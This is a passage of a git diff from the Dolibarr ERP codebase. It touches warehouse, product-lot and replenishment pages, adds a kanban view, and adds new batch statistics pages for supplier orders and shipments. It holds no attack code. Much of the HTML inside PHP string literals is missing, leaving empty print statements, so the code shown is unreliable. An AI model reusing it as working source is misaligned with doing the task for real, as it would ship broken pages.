      '; } print dol_get_fiche_end(); diff --git a/htdocs/product/stock/productlot_card.php b/htdocs/product/stock/productlot_card.php index acf2f526773..0e00476455e 100644 --- a/htdocs/product/stock/productlot_card.php +++ b/htdocs/product/stock/productlot_card.php @@ -39,6 +39,7 @@ $langs->loadLangs(array('stocks', 'other', 'productbatch')); // Get parameters $id = GETPOST('id', 'int'); +$lineid = GETPOST('lineid', 'int'); $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); $cancel = GETPOST('cancel', 'aZ09'); @@ -469,7 +470,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea print ''; print ''; } @@ -479,7 +480,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea print ''; print ''; } @@ -568,7 +569,7 @@ if ($action != 'presend') { $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; $genallowed = $usercanread; // If you can read, you can build the PDF to read content $delallowed = $usercancreate; // If you can create/edit, you can remove a file on card - print $formfile->showdocuments('product_batch', $objref, $filedir, $urlsource, $genallowed, $delallowed, '', 0, 0, 0, 28, 0, '', 0, '', $langs->default_lang, '', $object); + print $formfile->showdocuments('product_batch', $objref, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 0, 0, 0, 28, 0, '', 0, '', (empty($object->default_lang) ? '' : $object->default_lang), '', $object); } print '
      '; diff --git a/htdocs/product/stock/productlot_document.php b/htdocs/product/stock/productlot_document.php index be6c7f640a4..38c5b0503d8 100644 --- a/htdocs/product/stock/productlot_document.php +++ b/htdocs/product/stock/productlot_document.php @@ -197,7 +197,7 @@ if ($object->id) { print '
      '.$langs->trans("LastMovements", min($num, $max)).''.$langs->trans("Product").'
      '.img_picto($langs->trans("Ref").' '.$objp->mid, 'movement', 'class="pictofixedwidth"').dol_print_date($db->jdate($objp->datem), 'dayhour').''; + print ''; print $producttmp->getNomUrl(1); print "'.dol_print_date($db->jdate($objp->eatby), 'day').''; + print ''; print $warehouse->getNomUrl(1); print "'; diff --git a/htdocs/product/stock/info.php b/htdocs/product/stock/info.php index b47706df401..29965516498 100644 --- a/htdocs/product/stock/info.php +++ b/htdocs/product/stock/info.php @@ -76,7 +76,7 @@ if (!empty($conf->project->enabled)) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (!empty($object->socid) ? $object->socid : 0), $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (!empty($object->socid) ? $object->socid : 0), $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/product/stock/list.php b/htdocs/product/stock/list.php index b0c33e61484..3201bb5f507 100644 --- a/htdocs/product/stock/list.php +++ b/htdocs/product/stock/list.php @@ -53,6 +53,8 @@ $search_all = trim((GETPOST('search_all', 'alphanohtml') != '') ?GETPOST('search $search_ref = GETPOST("sref", "alpha") ?GETPOST("sref", "alpha") : GETPOST("search_ref", "alpha"); $search_label = GETPOST("snom", "alpha") ?GETPOST("snom", "alpha") : GETPOST("search_label", "alpha"); $search_status = GETPOST("search_status", "int"); +$mode = GETPOST('mode', 'alpha'); + if (isModEnabled('categorie')) { $search_category_list = GETPOST("search_category_".Categorie::TYPE_WAREHOUSE."_list", "array"); @@ -194,7 +196,7 @@ $warehouse = new Entrepot($db); $now = dol_now(); $help_url = 'EN:Module_Stocks_En|FR:Module_Stock|ES:Módulo_Stocks'; -$title = $langs->trans("ListOfWarehouses"); +$title = $langs->trans("Warehouses"); $totalarray = array(); $totalarray['nbfield'] = 0; @@ -376,6 +378,9 @@ llxHeader('', $title, $help_url); $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -421,8 +426,13 @@ print ''; print ''; print ''; print ''; +print ''; -$newcardbutton = dolGetButtonTitle($langs->trans('MenuNewWarehouse'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/stock/card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $user->rights->stock->creer); + +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('MenuNewWarehouse'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/stock/card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $user->rights->stock->creer); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'stock', 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -532,8 +542,8 @@ print $hookmanager->resPrint; // Status if (!empty($arrayfields['t.statut']['checked'])) { - print ''; - print $form->selectarray('search_status', $warehouse->statuts, $search_status, 1, 0, 0, '', 1); + print ''; + print $form->selectarray('search_status', $warehouse->statuts, $search_status, 1, 0, 0, '', 1, 0, 0, '', 'search_status width100 onrightofpage'); print '
      '; + print '
      '; + } + // Output Kanban + print $warehouse->getKanbanView(''); - // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print '
      '; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; } print ''.price2num($obj->stockqty, 5).''; - if (price2num($obj->estimatedvalue, 'MT')) { - print ''.price(price2num($obj->estimatedvalue, 'MT'), 1).''; - } else { - print ''; - } - print ''; - if (empty($conf->global->PRODUIT_MULTIPRICES)) { - if ($obj->sellvalue) { - print ''.price(price2num($obj->sellvalue, 'MT'), 1).''; + // Stock qty + if (!empty($arrayfields["stockqty"]['checked'])) { + print ''.price(price2num($obj->stockqty, 'MS')).''.$warehouse->LibStatut($obj->statut, 5).''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'stockqty'; } - print ''; } - print '
      '; + if (price2num($obj->estimatedvalue, 'MT')) { + print ''.price(price2num($obj->estimatedvalue, 'MT'), 1).''; + } else { + print ''; + } + print ''; + if (empty($conf->global->PRODUIT_MULTIPRICES)) { + if ($obj->sellvalue) { + print ''.price(price2num($obj->sellvalue, 'MT'), 1).''; + } + } else { + $htmltext = $langs->trans("OptionMULTIPRICESIsOn"); + print $form->textwithtooltip(''.$langs->trans("Variable").'', $htmltext); + } + print ''.$warehouse->LibStatut($obj->statut, 5).''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '; +print ''; print img_picto($langs->trans("WarehouseSource"), 'stock', 'class="paddingright"').$formproduct->selectWarehouses($id_sw, 'id_sw', 'warehouseopen,warehouseinternal', 1, 0, 0, '', 0, 0, array(), 'minwidth200imp maxwidth200'); print ''; +print ''; print img_picto($langs->trans("WarehouseTarget"), 'stock', 'class="paddingright"').$formproduct->selectWarehouses($id_tw, 'id_tw', 'warehouseopen,warehouseinternal', 1, 0, 0, '', 0, 0, array(), 'minwidth200imp maxwidth200'); print ''; +print ''; $filtertype = 0; if (!empty($conf->global->STOCK_SUPPORTS_SERVICES)) { $filtertype = ''; @@ -603,13 +615,13 @@ print $form->select_produits($id_product, 'productid', $filtertype, $limit, 0, - print ''; + print ''; print img_picto($langs->trans("LotSerial"), 'lot', 'class="paddingright"'); - print ''; + print ''; print '
      '; - print $warehousestatics->getNomUrl(1); + if ($warehousestatics->id > 0) { + print $warehousestatics->getNomUrl(1); + } else { + print ''; + print $langs->trans("None"); + print ''; + } print ''; print $warehousestatict->getNomUrl(1); @@ -649,7 +674,7 @@ foreach ($listofdata as $key => $val) { print dol_escape_htmltag($val['batch']); print ''.price2num((float) $val['qty'], 'MS').''.price2num((float) $val['qty'], 'MS').''.img_delete($langs->trans("Remove")).'
      '; + print ''; print img_picto($langs->trans("StockMovement"), 'movement', 'class="pictofixedwidth"'); print $obj->mid; print '
      '; print $form->editfieldkey($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); print ''; - print $form->editfieldval($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + print $form->editfieldval($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker', '', null, null, '', 1, '', 'id', 'auto', array(), $action); print '
      '; print $form->editfieldkey($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); print ''; - print $form->editfieldval($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + print $form->editfieldval($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker', '', null, null, '', 1, '', 'id', 'auto', array(), $action); print '
      '; print '
      '; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stock/productlot_list.php b/htdocs/product/stock/productlot_list.php index 8981d1cff56..ef6315446aa 100644 --- a/htdocs/product/stock/productlot_list.php +++ b/htdocs/product/stock/productlot_list.php @@ -225,7 +225,7 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { @@ -639,8 +639,8 @@ while ($i < $imaxinloop) { //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; if (!empty($arrayfields['t.'.$key]['checked'])) { - print '$key)) { print ' title="'.dol_escape_htmltag($object->$key).'"'; } print '>'; diff --git a/htdocs/product/stock/replenish.php b/htdocs/product/stock/replenish.php index be7f006d5a0..aad386ce444 100644 --- a/htdocs/product/stock/replenish.php +++ b/htdocs/product/stock/replenish.php @@ -78,12 +78,12 @@ while ($tmpobj = $db->fetch_object($resWar)) { $listofqualifiedwarehousesid .= $tmpobj->rowid; $lastWarehouseID = $tmpobj->rowid; $count++; -}; +} //MultiCompany : If only 1 Warehouse is visible, filter will automatically be set to it. if ($count == 1 && (empty($fk_entrepot) || $fk_entrepot <= 0) && !empty($conf->global->MULTICOMPANY_PRODUCT_SHARING_ENABLED)) { $fk_entrepot = $lastWarehouseID; -}; +} $texte = ''; @@ -146,6 +146,7 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x' $includeproductswithoutdesiredqty = ''; $draftorder = ''; } +$draftchecked = ""; if ($draftorder == 'on') { $draftchecked = "checked"; } @@ -465,7 +466,7 @@ if ($usevirtualstock) { $sqlProductionToConsume .= " ".MAIN_DB_PREFIX."mrp_production as mp5"; $sqlProductionToConsume .= " WHERE mm5.rowid = mp5.fk_mo AND mm5.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'mo').")"; $sqlProductionToConsume .= " AND mp5.fk_product = p.rowid"; - $sqlProductionToConsume .= " AND mp5.role IN ('toconsume', 'consummed')"; + $sqlProductionToConsume .= " AND mp5.role IN ('toconsume', 'consumed')"; $sqlProductionToConsume .= " AND mm5.status IN (1,2))"; $sqlProductionToProduce = "(SELECT GREATEST(0, ".$db->ifsql("SUM(".$db->ifsql("mp5.role = 'toproduce'", 'mp5.qty', '- mp5.qty').") IS NULL", "0", "SUM(".$db->ifsql("mp5.role = 'toproduce'", 'mp5.qty', '- mp5.qty').")").") as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL @@ -684,8 +685,10 @@ if (!empty($salert)) $param .= '&salert='.urlencode($salert); $stocklabel = $langs->trans('Stock'); $stocklabelbis = $langs->trans('Stock'); +$stocktooltip = ''; if ($usevirtualstock == 1) { $stocklabel = $langs->trans('VirtualStock'); + $stocktooltip = $langs->trans("VirtualStockDesc"); } if ($usevirtualstock == 0) { $stocklabel = $langs->trans('PhysicalStock'); @@ -698,7 +701,6 @@ $texte = $langs->trans('Replenishment'); print '
      '; -print '
      '; if (!empty($conf->global->REPLENISH_ALLOW_VARIABLESIZELIST)) { print_barre_liste( @@ -732,6 +734,8 @@ if (!empty($conf->global->REPLENISH_ALLOW_VARIABLESIZELIST)) { ); } + +print '
      '; print ''; // Fields title search @@ -775,7 +779,7 @@ if (isModEnabled("service") && $type == 1) { } print_liste_field_titre('DesiredStock', $_SERVER["PHP_SELF"], 'p.desiredstock', $param, '', '', $sortfield, $sortorder, 'right '); print_liste_field_titre('StockLimitShort', $_SERVER["PHP_SELF"], 'p.seuil_stock_alerte', $param, '', '', $sortfield, $sortorder, 'right '); -print_liste_field_titre($stocklabel, $_SERVER["PHP_SELF"], 'stock_physique', $param, '', '', $sortfield, $sortorder, 'right '); +print_liste_field_titre($stocklabel, $_SERVER["PHP_SELF"], 'stock_physique', $param, '', '', $sortfield, $sortorder, 'right ', $stocktooltip); if (!empty($conf->global->STOCK_ALLOW_ADD_LIMIT_STOCK_BY_WAREHOUSE) && $fk_entrepot > 0) { print_liste_field_titre($stocklabelbis, $_SERVER["PHP_SELF"], 'stock_real_warehouse', $param, '', '', $sortfield, $sortorder, 'right '); } diff --git a/htdocs/product/stock/stats/commande_fournisseur.php b/htdocs/product/stock/stats/commande_fournisseur.php new file mode 100644 index 00000000000..22be071ffc5 --- /dev/null +++ b/htdocs/product/stock/stats/commande_fournisseur.php @@ -0,0 +1,376 @@ + + * Copyright (C) 2004-2016 Laurent Destailleur + * Copyright (C) 2005-2012 Regis Houssin + * Copyright (C) 2014 Juanjo Menent + * Copyright (C) 2014 Florian Henry + * Copyright (C) 2023 Gauthier VERDOL + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/product/stock/stats/commande_fournisseur.php + * \ingroup product service facture + * \brief Page of supplier order statistics for a batch + */ + +// Load Dolibarr environment +require '../../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/fourn/class/fournisseur.commande.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/stock/class/productlot.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; + +// Load translation files required by the page +$langs->loadLangs(array('companies', 'bills', 'products', 'orders')); + +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$batch = GETPOST('batch', 'alpha'); +$objectid = GETPOST('productid', 'int'); + +// Security check +$fieldvalue = (!empty($id) ? $id : (!empty($ref) ? $ref : '')); +$fieldtype = (!empty($ref) ? 'ref' : 'rowid'); +$socid = ''; +if (!empty($user->socid)) { + $socid = $user->socid; +} + +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('batchproductstatssupplierorder')); + +$showmessage = GETPOST('showmessage'); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortorder) { + $sortorder = "DESC"; +} +if (!$sortfield) { + $sortfield = "cf.date_commande"; +} + +$search_month = GETPOST('search_month', 'int'); +$search_year = GETPOST('search_year', 'int'); + +if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + $search_month = ''; + $search_year = ''; +} + +if (!$user->rights->produit->lire) accessforbidden(); + + +/* + * View + */ + +$commandefournisseurstatic = new CommandeFournisseur($db); +$societestatic = new Societe($db); + +$form = new Form($db); +$formother = new FormOther($db); + +if ($id > 0 || !empty($ref)) { + $object = new ProductLot($db); + if ($ref) { + $tmp = explode('_', $ref); + $objectid = $tmp[0]; + $batch = $tmp[1]; + } + $result = $object->fetch($id, $objectid, $batch); + + $parameters = array('id'=>$id); + $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $helpurl = ''; + $shortlabel = dol_trunc($object->batch, 16); + $title = $langs->trans('Batch')." ".$shortlabel." - ".$langs->trans('Referers'); + $helpurl = 'EN:Module_Products|FR:Module_Produits|ES:Módulo_Productos'; + + llxHeader('', $title, $helpurl); + + if ($result > 0) { + $head = productlot_prepare_head($object); + $titre = $langs->trans("CardProduct".$object->type); + $picto = 'lot'; + print dol_get_fiche_head($head, 'referers', $langs->trans("Batch"), -1, $object->picto); + + $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $linkback = ''.$langs->trans("BackToList").''; + + $shownav = 1; + if ($user->socid && !in_array('product', explode(',', $conf->global->MAIN_MODULES_FOR_EXTERNAL))) { + $shownav = 0; + } + + dol_banner_tab($object, 'id', $linkback, $shownav, 'rowid', 'batch', $morehtmlref); + + print '
      '; + + print '
      '; + print '
      '; + + + // Product + print ''; + print "
      '.$langs->trans("Product").''; + $producttmp = new Product($db); + $producttmp->fetch($object->fk_product); + print $producttmp->getNomUrl(1, 'stock')." - ".$producttmp->label; + print '
      "; + + echo '
      '; + + // // Sell by + // if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { + // print ''; + // print $form->editfieldkey($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print $form->editfieldval($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print ''; + // } + // + // // Eat by + // if (empty($conf->global->PRODUCT_DISABLE_EATBY)) { + // print ''; + // print $form->editfieldkey($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print $form->editfieldval($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print ''; + // } + // + // if (!empty($conf->global->PRODUCT_LOT_ENABLE_TRACEABOLITY)) { + // print ''.$form->editfieldkey($langs->trans('ManufacturingDate'), 'manufacturing_date', $object->manufacturing_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('ManufacturingDate'), 'manufacturing_date', $object->manufacturing_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // // print ''.$form->editfieldkey($langs->trans('FirstUseDate'), 'commissionning_date', $object->commissionning_date, $object, $user->rights->stock->creer).''; + // // print ''.$form->editfieldval($langs->trans('FirstUseDate'), 'commissionning_date', $object->commissionning_date, $object, $user->rights->stock->creer, 'datepicker').''; + // // print ''; + // print ''.$form->editfieldkey($langs->trans('DestructionDate'), 'scrapping_date', $object->scrapping_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('DestructionDate'), 'scrapping_date', $object->scrapping_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // } + // + // // Quality control + // if (!empty($conf->global->PRODUCT_LOT_ENABLE_QUALITY_CONTROL)) { + // print ''.$form->editfieldkey($langs->trans('EndOfLife'), 'eol_date', $object->eol_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('EndOfLife'), 'eol_date', $object->eol_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // print ''.$form->editfieldkey($langs->trans('QCFrequency'), 'qc_frequency', $object->qc_frequency, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('QCFrequency'), 'qc_frequency', $object->qc_frequency, $object, $user->rights->stock->creer, 'numeric').''; + // print ''; + // } + // + // // Other attributes + // include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + + print ''; + + $nboflines = show_stats_for_batch($object, $socid); + + print "
      "; + + print '
      '; + print '
      '; + + print dol_get_fiche_end(); + + if ($showmessage && $nboflines > 1) { + print ''.$langs->trans("ClinkOnALinkOfColumn", $langs->transnoentitiesnoconv("Referers")).''; + } elseif ($user->rights->fournisseur->commande->lire) { + $sql = "SELECT DISTINCT s.nom as name, s.rowid as socid, s.code_fournisseur,"; + $sql .= " cf.ref, cf.date_commande, cf.date_livraison as delivery_date, cf.fk_statut as statut, cf.rowid as facid,"; + $sql .= " cfd.rowid, SUM(cfdi.qty) as qty"; + // $sql.= ", cfd.total_ht * SUM(cfdi.qty) / cfd.qty as total_ht_pondere"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", sc.fk_soc, sc.fk_user "; + } + $sql .= " FROM ".MAIN_DB_PREFIX."societe as s"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."commande_fournisseur as cf ON (cf.fk_soc = s.rowid)"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."commande_fournisseurdet as cfd ON (cfd.fk_commande = cf.rowid)"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."commande_fournisseur_dispatch as cfdi ON (cfdi.fk_commandefourndet = cfd.rowid)"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; + } + $sql .= " WHERE cf.entity IN (".getEntity('product').")"; + $sql .= " AND cfdi.batch = '".($db->escape($object->batch))."'"; + if (!empty($search_month)) { + $sql .= ' AND MONTH(cf.date_commande) IN ('.$db->sanitize($search_month).')'; + } + if (!empty($search_year)) { + $sql .= ' AND YEAR(cf.date_commande) IN ('.$db->sanitize($search_year).')'; + } + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= " AND s.rowid = sc.fk_soc AND sc.fk_user = ".((int) $user->id); + } + if ($socid) { + $sql .= " AND cf.fk_soc = ".((int) $socid); + } + $sql .= " GROUP BY cf.rowid"; + $sql .= $db->order($sortfield, $sortorder); + + // Calcul total qty and amount for global if full scan list + $total_ht_pondere = 0; + $total_qty = 0; + + // Count total nb of records + $totalofrecords = ''; + if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + $result = $db->query($sql); + $totalofrecords = $db->num_rows($result); + } + + $sql .= $db->plimit($limit + 1, $offset); + + $result = $db->query($sql); + if ($result) { + $num = $db->num_rows($result); + + $option .= '&id='.$object->id; + + if ($limit > 0 && $limit != $conf->liste_limit) { + $option .= '&limit='.urlencode($limit); + } + if (!empty($search_month)) { + $option .= '&search_month='.urlencode($search_month); + } + if (!empty($search_year)) { + $option .= '&search_year='.urlencode($search_year); + } + + print '
      '."\n"; + print ''; + if (!empty($sortfield)) { + print ''; + } + if (!empty($sortorder)) { + print ''; + } + + print_barre_liste($langs->trans("SuppliersOrders"), $page, $_SERVER["PHP_SELF"], $option, $sortfield, $sortorder, '', $num, $totalofrecords, '', 0, '', '', $limit, 0, 0, 1); + + if (!empty($page)) { + $option .= '&page='.urlencode($page); + } + + print '
      '; + print '
      '; + print $langs->trans('Period').' ('.$langs->trans("OrderDate").') - '; + print $langs->trans('Month').': '; + print $langs->trans('Year').':'.$formother->selectyear($search_year ? $search_year : - 1, 'search_year', 1, 20, 5); + print '
      '; + print ''; + print ''; + print '
      '; + print '
      '; + print '
      '; + + $i = 0; + print '
      '; + print ''; + print ''; + print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "s.rowid", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("Company", $_SERVER["PHP_SELF"], "s.nom", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("SupplierCode", $_SERVER["PHP_SELF"], "s.code_fournisseur", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("OrderDate", $_SERVER["PHP_SELF"], "cf.date_commande", "", $option, 'align="center"', $sortfield, $sortorder); + print_liste_field_titre("DateDeliveryPlanned", $_SERVER["PHP_SELF"], "cf.date_livraison", "", $option, 'align="center"', $sortfield, $sortorder); + print_liste_field_titre("Qty", $_SERVER["PHP_SELF"], "cfdi.qty", "", $option, 'align="center"', $sortfield, $sortorder); + // print_liste_field_titre("AmountHT", $_SERVER["PHP_SELF"], "total_ht_pondere", "", $option, 'align="right"', $sortfield, $sortorder); + print_liste_field_titre("Status", $_SERVER["PHP_SELF"], "cf.fk_statut", "", $option, 'align="right"', $sortfield, $sortorder); + print "\n"; + + if ($num > 0) { + while ($i < min($num, $limit)) { + $objp = $db->fetch_object($result); + + if ($objp->type == Facture::TYPE_CREDIT_NOTE) { + $objp->qty = -($objp->qty); + } + + // $total_ht_pondere += $objp->total_ht_pondere; + $total_qty += $objp->qty; + + $commandefournisseurstatic->id = $objp->facid; + $commandefournisseurstatic->ref = $objp->ref; + $societestatic->fetch($objp->socid); + // $paiement = $commandefournisseurstatic->getSommePaiement(); + + print ''; + print '\n"; + print ''; + print "\n"; + print '"; + print '"; + print '\n"; + // print '\n"; + print ''; + print "\n"; + $i++; + } + } + print ''; + if ($num < $limit) { + print ''; + } else { + print ''; + } + print ''; + print ''; + print ''; + print ''; + // print ''; + print ''; + print "
      '; + print $commandefournisseurstatic->getNomUrl(1); + print "'.$societestatic->getNomUrl(1).'".$objp->code_fournisseur."'; + print dol_print_date($db->jdate($objp->date_commande), 'dayhour')."'; + print dol_print_date($db->jdate($objp->delivery_date), 'dayhour')."'.$objp->qty."'.price($objp->total_ht_pondere)."'.$commandefournisseurstatic->LibStatut($objp->statut, 5).'
      '.$langs->trans("Total").''.$langs->trans("Totalforthispage").''.$total_qty.''.$total_ht_pondere.'
      "; + print '
      '; + print '
      '; + } else { + dol_print_error($db); + } + $db->free($result); + } + } +} else { + dol_print_error(); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/product/stock/stats/expedition.php b/htdocs/product/stock/stats/expedition.php new file mode 100644 index 00000000000..79beefa40cb --- /dev/null +++ b/htdocs/product/stock/stats/expedition.php @@ -0,0 +1,366 @@ + + * Copyright (C) 2004-2016 Laurent Destailleur + * Copyright (C) 2005-2012 Regis Houssin + * Copyright (C) 2014 Juanjo Menent + * Copyright (C) 2014 Florian Henry + * Copyright (C) 2023 Gauthier VERDOL + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/product/stock/stats/expedition.php + * \ingroup product service facture + * \brief Page of expedition statistics for a batch + */ + +// Load Dolibarr environment +require '../../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/expedition/class/expedition.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/stock/class/productlot.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; + +// Load translation files required by the page +$langs->loadLangs(array('companies', 'bills', 'products', 'supplier_proposal', 'productbatch')); + +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$batch = GETPOST('batch', 'alpha'); +$objectid = GETPOST('productid', 'int'); + +// Security check +$fieldvalue = (!empty($id) ? $id : (!empty($ref) ? $ref : '')); +$fieldtype = (!empty($ref) ? 'ref' : 'rowid'); +$socid = ''; +if (!empty($user->socid)) { + $socid = $user->socid; +} + +// Initialize technical object to manage hooks of page. Note that 